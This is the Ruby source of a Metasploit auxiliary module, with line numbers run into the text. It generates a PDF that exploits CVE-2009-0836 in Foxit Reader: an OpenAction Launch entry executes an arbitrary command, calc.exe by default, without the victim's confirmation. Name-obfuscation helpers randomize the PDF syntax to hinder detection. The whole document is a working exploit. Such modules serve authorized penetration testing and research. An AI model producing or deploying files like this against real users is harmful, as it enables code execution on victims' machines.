Path: blob/master/modules/auxiliary/pdf/foxit/authbypass.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Foxit Reader Authorization Bypass',15'Description' => %q{16This module exploits an authorization bypass vulnerability in Foxit Reader17build 1120. When an attacker creates a specially crafted pdf file containing18an Open/Execute action, arbitrary commands can be executed without confirmation19from the victim.20},21'License' => MSF_LICENSE,22'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],23'References' => [24[ 'CVE', '2009-0836' ],25[ 'OSVDB', '55615'],26[ 'BID', '34035' ],27],28'DisclosureDate' => '2009-03-09',29'Notes' => {30'Stability' => [CRASH_SAFE],31'SideEffects' => [],32'Reliability' => []33}34)35)3637register_options(38[39OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),40OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf'])41]42)43end4445def run46exec = datastore['CMD']4748# Create the pdf49pdf = make_pdf(exec)5051print_status("Creating '#{datastore['FILENAME']}' file...")5253file_create(pdf)54end5556# https://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/57def n_obfu(str)58result = ''59str.scan(/./u) do |c|60if (rand(2) == 0) && (c.upcase >= 'A') && (c.upcase <= 'Z')61result << '#%x' % c.unpack('C*')[0]62else63result << c64end65end66result67end6869def random_non_ascii_string(count)70result = ''71count.times do72result << rand(128..255).chr73end74result75end7677def io_def(id)78'%d 0 obj' % id79end8081def io_ref(id)82'%d 0 R' % id83end8485def make_pdf(exec)86xref = []87eol = "\x0d\x0a"88endobj = 'endobj' << eol8990# Randomize PDF version?91pdf = "%%PDF-#{rand(1..2)}.#{rand(1..2)}" << eol92pdf << '%' << random_non_ascii_string(4) << eol93xref << pdf.length94pdf << io_def(1) << n_obfu('<</Type/Catalog/Outlines ') << io_ref(2) << n_obfu('/Pages ') << io_ref(3) << n_obfu('/OpenAction ') << io_ref(5) << '>>' << endobj95xref << pdf.length96pdf << io_def(2) << n_obfu('<</Type/Outlines/Count 0>>') << endobj97xref << pdf.length98pdf << io_def(3) << n_obfu('<</Type/Pages/Kids[') << io_ref(4) << n_obfu(']/Count 1>>') << endobj99xref << pdf.length100pdf << io_def(4) << n_obfu('<</Type/Page/Parent ') << io_ref(3) << n_obfu('/MediaBox[0 0 612 792]>>') << endobj101xref << pdf.length102pdf << io_def(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + io_ref(6) + '>>' << endobj103xref << pdf.length104pdf << endobj105xref_position = pdf.length106pdf << 'xref' << eol107pdf << '0 %d' % (xref.length + 1) << eol108pdf << '0000000000 65535 f' << eol109xref.each do |index|110pdf << '%010d 00000 n' % index << eol111end112pdf << 'trailer' << n_obfu('<</Size %d/Root ' % (xref.length + 1)) << io_ref(1) << '>>' << eol113pdf << 'startxref' << eol114pdf << xref_position.to_s << eol115pdf << '%%EOF' << eol116end117end118119120